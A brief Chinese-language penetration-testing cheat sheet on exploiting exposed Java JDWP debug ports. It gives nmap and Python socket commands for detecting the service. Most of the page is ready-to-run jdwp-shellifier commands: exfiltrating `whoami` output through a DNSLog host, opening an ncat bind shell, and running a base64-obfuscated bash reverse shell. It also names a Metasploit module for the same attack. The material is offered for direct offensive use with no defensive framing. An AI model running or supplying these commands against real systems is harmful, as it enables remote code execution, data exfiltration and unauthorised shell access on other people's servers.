JPDA
JDWP
java调试线协议,Debugger和被调试的JVM之间的通信协议
探测
- Nmap
nmap -sT -sV 192.168.192.1 -p 8000
- Telnet ip port 需要马上输入
JDWP-Handshake
,然后服务端返回一样的内容,证明是JDWP服务
- 脚本
import socket
client = socket.socket() client.connect(("127.0.0.1", 8000)) client.send(b"JDWP-Handshake")
if client.recv(1024) == b"JDWP-Handshake": print("[*]JDWP Service!")
client.close()
|
工具
需要Python2运行
jdwp-shellifier
//DNSLog外带 python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping -nc 1 `whoami`.xxx.dnslog.cn" python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "calc"
//反弹shell python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ncat -lvvp 1234 -e /bin/bash"
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"
|
msf
在msf中可以使用exploit/multi/misc/java_jdwp_debugger
模块进行攻击利用
感觉emmmm,有点太老了吧